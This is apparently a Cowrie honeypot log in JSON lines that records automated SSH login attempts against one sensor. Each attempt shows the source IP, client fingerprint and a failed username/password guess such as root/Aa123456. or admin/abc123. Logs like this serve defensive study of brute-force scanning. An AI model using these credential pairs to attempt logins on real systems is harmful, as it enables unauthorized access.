{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:45.652853Z","src_ip":"141.11.88.14","session":"9a5932e0d226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de99348e075","protocol":"telnet","message":"New connection: 128.199.8.54:58810 (159.203.135.109:23) [session: 9de99348e075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:45.800803Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:46.831341Z","src_ip":"141.11.88.14","session":"9a5932e0d226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.91930174827576,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:49.733851Z","src_ip":"128.199.8.54","session":"dbab1d435d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35894,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7707c9065aa","protocol":"ssh","message":"New connection: 141.11.88.14:35894 (10.17.0.5:22) [session: b7707c9065aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:51.669651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:51.917976Z","src_ip":"141.11.88.14","session":"b7707c9065aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:51.923111Z","src_ip":"141.11.88.14","session":"b7707c9065aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:53.305135Z","src_ip":"141.11.88.14","session":"b7707c9065aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:54.806670Z","src_ip":"141.11.88.14","session":"b7707c9065aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50780,"dst_ip":"10.17.0.5","dst_port":22,"session":"e24d1bd9b9ff","protocol":"ssh","message":"New connection: 141.11.88.14:50780 (10.17.0.5:22) [session: e24d1bd9b9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:57.808579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:57.910952Z","src_ip":"141.11.88.14","session":"e24d1bd9b9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:57.916408Z","src_ip":"141.11.88.14","session":"e24d1bd9b9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:59.042811Z","src_ip":"141.11.88.14","session":"e24d1bd9b9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:00.148448Z","src_ip":"141.11.88.14","session":"e24d1bd9b9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f8377b7105","protocol":"ssh","message":"New connection: 141.11.88.14:50804 (10.17.0.5:22) [session: f6f8377b7105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:04.884875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:05.022616Z","src_ip":"141.11.88.14","session":"f6f8377b7105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:05.026244Z","src_ip":"141.11.88.14","session":"f6f8377b7105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xbot","password":"xbot","message":"login attempt [xbot/xbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:06.445800Z","src_ip":"141.11.88.14","session":"f6f8377b7105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:07.588808Z","src_ip":"141.11.88.14","session":"f6f8377b7105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38850,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f21bcbb4e6d","protocol":"ssh","message":"New connection: 141.11.88.14:38850 (10.17.0.5:22) [session: 2f21bcbb4e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:13.132794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:13.270321Z","src_ip":"141.11.88.14","session":"2f21bcbb4e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:13.273832Z","src_ip":"141.11.88.14","session":"2f21bcbb4e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:14.658754Z","src_ip":"141.11.88.14","session":"2f21bcbb4e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:15.850640Z","src_ip":"141.11.88.14","session":"2f21bcbb4e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31306,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75a63384f1c","protocol":"ssh","message":"New connection: 141.11.88.14:31306 (10.17.0.5:22) [session: a75a63384f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:19.971831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:20.044405Z","src_ip":"141.11.88.14","session":"a75a63384f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:20.123296Z","src_ip":"141.11.88.14","session":"a75a63384f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@@@","message":"login attempt [root/@@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:22.446806Z","src_ip":"141.11.88.14","session":"a75a63384f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:23.557239Z","src_ip":"141.11.88.14","session":"a75a63384f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31322,"dst_ip":"10.17.0.5","dst_port":22,"session":"58af6ad3eab2","protocol":"ssh","message":"New connection: 141.11.88.14:31322 (10.17.0.5:22) [session: 58af6ad3eab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:25.965302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:26.259319Z","src_ip":"141.11.88.14","session":"58af6ad3eab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:26.263075Z","src_ip":"141.11.88.14","session":"58af6ad3eab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cp","password":"cp","message":"login attempt [cp/cp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:28.473907Z","src_ip":"141.11.88.14","session":"58af6ad3eab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:30.031933Z","src_ip":"141.11.88.14","session":"58af6ad3eab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57344,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f20916122d","protocol":"ssh","message":"New connection: 141.11.88.14:57344 (10.17.0.5:22) [session: 16f20916122d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:33.189159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:33.332424Z","src_ip":"141.11.88.14","session":"16f20916122d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:33.337180Z","src_ip":"141.11.88.14","session":"16f20916122d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:34.640327Z","src_ip":"141.11.88.14","session":"16f20916122d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:35.730090Z","src_ip":"141.11.88.14","session":"16f20916122d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21304,"dst_ip":"10.17.0.5","dst_port":22,"session":"0009350abc86","protocol":"ssh","message":"New connection: 141.11.88.14:21304 (10.17.0.5:22) [session: 0009350abc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:39.955856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:39.965898Z","src_ip":"141.11.88.14","session":"0009350abc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:40.078841Z","src_ip":"141.11.88.14","session":"0009350abc86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:40.689705Z","src_ip":"141.11.88.14","session":"0009350abc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:41.915220Z","src_ip":"141.11.88.14","session":"0009350abc86","protocol":"ssh"}
